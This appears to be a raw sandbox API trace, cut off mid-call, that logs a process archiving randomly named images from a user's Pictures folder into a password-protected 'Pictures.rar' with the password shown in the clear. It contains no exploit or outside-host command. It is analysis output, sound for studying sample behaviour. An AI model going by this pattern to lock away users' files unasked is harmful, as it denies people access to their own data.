[0063.431] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.431] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.431] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.431] ResetEvent (hEvent=0x1a4) returned 1 [0063.431] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.433] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.433] ResetEvent (hEvent=0x1a4) returned 1 [0063.433] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.434] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.434] GetTickCount () returned 0xa66319 [0063.434] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13877441946) returned 1 [0063.434] GetTickCount () returned 0xa66319 [0063.434] GetTickCount () returned 0xa66319 [0063.434] GetTickCount () returned 0xa66319 [0063.434] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0063.434] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0063.434] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.434] ResetEvent (hEvent=0x190) returned 1 [0063.434] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.435] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.435] ResetEvent (hEvent=0x190) returned 1 [0063.435] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.435] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.435] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0063.435] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.435] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0x3f5ddc [0063.435] SetFilePointer (in: hFile=0x198, lDistanceToMove=107, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0x3f5e47 [0063.435] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0063.435] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.435] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0063.436] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0063.436] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0063.436] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x8f20, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0x8f20, lpOverlapped=0x0) returned 1 [0063.436] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0063.436] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.436] SetFilePointer (in: hFile=0x198, lDistanceToMove=4152796, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x3f5ddc [0063.436] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0x3f5ddc [0063.436] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c0e0 [0063.436] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c110 [0063.437] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c110, Size=0x48) returned 0x26fe80 [0063.437] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0063.437] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c110 [0063.437] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c110, Size=0x48) returned 0x26fed0 [0063.437] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0063.437] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0063.437] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c110 [0063.437] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c140 [0063.437] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c140 | out: hHeap=0x1b0000) returned 1 [0063.437] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c110 | out: hHeap=0x1b0000) returned 1 [0063.437] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c0e0, Size=0x48) returned 0x26fe80 [0063.437] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fe80, Size=0x7a) returned 0x203ab0 [0063.437] WriteFile (in: hFile=0x198, lpBuffer=0x203ab3*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x203ab3*, lpNumberOfBytesWritten=0x167f30*=0x6b, lpOverlapped=0x0) returned 1 [0063.437] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c0e0 [0063.437] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x6b) returned 0x2a0b0d0 [0063.437] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0063.437] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0063.437] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x3fed67 [0063.437] CloseHandle (hObject=0x1b0) returned 1 [0063.437] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.437] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.437] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0063.437] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.437] FindFirstFileW (in: lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\AcSwmq12.png", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0063.437] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0063.437] CreateFileW (lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\AcSwmq12.png" (normalized: "c:\\users\\whuoxysd\\pictures\\ulcrruhemh6lldqyx5zp\\hnlfrbjuhsodl\\0xrpwoz7bigafl\\acswmq12.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.437] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.437] GetTickCount () returned 0xa66319 [0063.437] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0063.437] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0063.437] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.437] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0063.437] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="r8gP7fn6WcydRhKaYYc.png") returned 23 [0063.437] SetWindowTextW (hWnd=0x1024c, lpString="AcSwmq12.png") returned 1 [0063.438] GetTickCount () returned 0xa66319 [0063.438] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0063.438] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0063.438] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0063.438] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0063.438] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x19, wMilliseconds=0x7a)) [0063.438] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0063.438] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13877871495) returned 1 [0063.438] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0xf043, lpOverlapped=0x0) returned 1 [0063.439] ReadFile (in: hFile=0x1b0, lpBuffer=0x36df083, nNumberOfBytesToRead=0xf0fbd, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36df083*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0063.439] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.439] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.439] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c110 [0063.439] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c140 [0063.439] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c140, Size=0x48) returned 0x26fed0 [0063.439] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0063.439] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c140 [0063.439] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c140, Size=0x48) returned 0x26fe80 [0063.439] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0063.439] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0063.439] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c140 [0063.439] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c170 [0063.439] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c170 | out: hHeap=0x1b0000) returned 1 [0063.439] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c140 | out: hHeap=0x1b0000) returned 1 [0063.439] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c110, Size=0x59) returned 0x2730a0 [0063.439] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x2730a0, Size=0x95) returned 0x280190 [0063.439] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0063.440] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x280190 | out: hHeap=0x1b0000) returned 1 [0063.440] GetTickCount () returned 0xa66319 [0063.440] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13878051397) returned 1 [0063.440] GetTickCount () returned 0xa66319 [0063.440] GetTickCount () returned 0xa66319 [0063.440] GetTickCount () returned 0xa66319 [0063.440] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.440] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.440] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.441] ResetEvent (hEvent=0x1a4) returned 1 [0063.441] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.550] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.550] ResetEvent (hEvent=0x1a4) returned 1 [0063.550] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.551] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.552] GetTickCount () returned 0xa66386 [0063.552] GetLastError () returned 0x0 [0063.552] SetLastError (dwErrCode=0x0) [0063.552] GetDlgItem (hDlg=0x10244, nIDDlgItem=158) returned 0x10250 [0063.552] GetDlgItem (hDlg=0x10244, nIDDlgItem=153) returned 0x1024e [0063.552] GetWindowTextW (in: hWnd=0x1024e, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0063.552] SendMessageW (hWnd=0x10250, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0063.694] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13903632655) returned 1 [0063.696] GetTickCount () returned 0xa66422 [0063.696] GetTickCount () returned 0xa66422 [0063.696] GetTickCount () returned 0xa66422 [0063.696] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x16cf28 | out: ppv=0x16cf28*=0x3b8c110) returned 0x0 [0063.696] TaskbarList:ITaskbarList3:SetProgressState (This=0x3b8c110, hwnd=0x10244, tbpFlags=2) returned 0x0 [0063.696] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3b8c110, hwnd=0x10244, ullCompleted=0x426bd6, ullTotal=0x940593) returned 0x0 [0063.696] TaskbarList:IUnknown:Release (This=0x3b8c110) returned 0x0 [0063.697] GetLastError () returned 0x36b7 [0063.697] SetLastError (dwErrCode=0x36b7) [0063.697] GetDlgItem (hDlg=0x10244, nIDDlgItem=157) returned 0x10266 [0063.697] GetDlgItem (hDlg=0x10244, nIDDlgItem=152) returned 0x10264 [0063.697] GetWindowTextW (in: hWnd=0x10264, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 43%") returned 5 [0063.697] SetWindowTextW (hWnd=0x10264, lpString=" 44%") returned 1 [0063.697] GetLastError () returned 0x0 [0063.697] SetLastError (dwErrCode=0x0) [0063.697] GetDlgItem (hDlg=0x10244, nIDDlgItem=164) returned 0x10260 [0063.697] GetWindowTextW (in: hWnd=0x10260, lpString=0x16baf0, nMaxCount=2560 | out: lpString=" 88%") returned 5 [0063.697] SetWindowTextW (hWnd=0x10260, lpString=" 96%") returned 1 [0063.697] SendMessageW (hWnd=0x10266, Msg=0x402, wParam=0x2c, lParam=0x0) returned 0x2b [0063.697] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 1 [0063.698] GetMessageW (in: lpMsg=0x16d3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d3d0) returned 1 [0063.698] GetFocus () returned 0x0 [0063.698] TranslateMessage (lpMsg=0x16d3d0) returned 0 [0063.698] DispatchMessageW (lpMsg=0x16d3d0) returned 0x0 [0063.699] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 1 [0063.699] GetMessageW (in: lpMsg=0x16d3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d3d0) returned 1 [0063.699] GetFocus () returned 0x0 [0063.699] TranslateMessage (lpMsg=0x16d3d0) returned 0 [0063.699] DispatchMessageW (lpMsg=0x16d3d0) returned 0x0 [0063.699] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.699] ResetEvent (hEvent=0x190) returned 1 [0063.699] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.699] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.699] ResetEvent (hEvent=0x190) returned 1 [0063.699] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.700] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.700] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0063.700] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.700] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0x3fed67 [0063.700] SetFilePointer (in: hFile=0x198, lDistanceToMove=147, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0x3fedfa [0063.700] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0063.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.700] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0063.700] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0063.700] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0063.701] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0xf0c0, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0xf0c0, lpOverlapped=0x0) returned 1 [0063.704] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0063.704] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.704] SetFilePointer (in: hFile=0x198, lDistanceToMove=4189543, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x3fed67 [0063.704] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0x3fed67 [0063.704] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c110 [0063.704] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c140 [0063.704] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c140, Size=0x48) returned 0x26fe80 [0063.704] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0063.704] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c140 [0063.704] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c140, Size=0x48) returned 0x26fed0 [0063.704] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0063.704] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0063.704] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c140 [0063.704] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c170 [0063.704] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c170 | out: hHeap=0x1b0000) returned 1 [0063.704] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c140 | out: hHeap=0x1b0000) returned 1 [0063.704] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c110, Size=0x59) returned 0x2730a0 [0063.704] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x2730a0, Size=0x95) returned 0x280190 [0063.704] WriteFile (in: hFile=0x198, lpBuffer=0x280192*, nNumberOfBytesToWrite=0x93, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x280192*, lpNumberOfBytesWritten=0x167f30*=0x93, lpOverlapped=0x0) returned 1 [0063.705] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c110 [0063.705] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x93) returned 0x280230 [0063.705] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0063.705] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x280190 | out: hHeap=0x1b0000) returned 1 [0063.705] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x40deba [0063.705] CloseHandle (hObject=0x1b0) returned 1 [0063.705] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0063.705] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.705] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0063.705] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.705] FindFirstFileW (in: lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\FS9X-Jz92l3SkJz_uf.bmp", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0063.705] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0063.705] CreateFileW (lpFileName="ULcrruHeMH6lLDqYX5zP\\HNlFrbJUHSODl\\0XRpWOZ7BIgaFl\\FS9X-Jz92l3SkJz_uf.bmp" (normalized: "c:\\users\\whuoxysd\\pictures\\ulcrruhemh6lldqyx5zp\\hnlfrbjuhsodl\\0xrpwoz7bigafl\\fs9x-jz92l3skjz_uf.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.705] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.705] GetTickCount () returned 0xa66422 [0063.705] GetLastError () returned 0x0 [0063.705] SetLastError (dwErrCode=0x0) [0063.705] GetDlgItem (hDlg=0x10244, nIDDlgItem=158) returned 0x10250 [0063.705] GetDlgItem (hDlg=0x10244, nIDDlgItem=153) returned 0x1024e [0063.705] GetWindowTextW (in: hWnd=0x1024e, lpString=0x16bc00, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0063.705] SetWindowTextW (hWnd=0x1024e, lpString=" 0%") returned 1 [0063.706] SendMessageW (hWnd=0x10250, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0063.706] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0063.706] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0063.706] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.706] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0063.706] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="AcSwmq12.png") returned 12 [0063.706] SetWindowTextW (hWnd=0x1024c, lpString="FS9X-Jz92l3SkJz_uf.bmp") returned 1 [0063.706] GetTickCount () returned 0xa66422 [0063.706] UpdateWindow (hWnd=0x10244) returned 1 [0063.706] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0063.706] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0063.706] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0063.706] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0063.706] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x19, wMilliseconds=0x183)) [0063.706] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0063.706] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13904688347) returned 1 [0063.707] ReadFile (in: hFile=0x1b0, 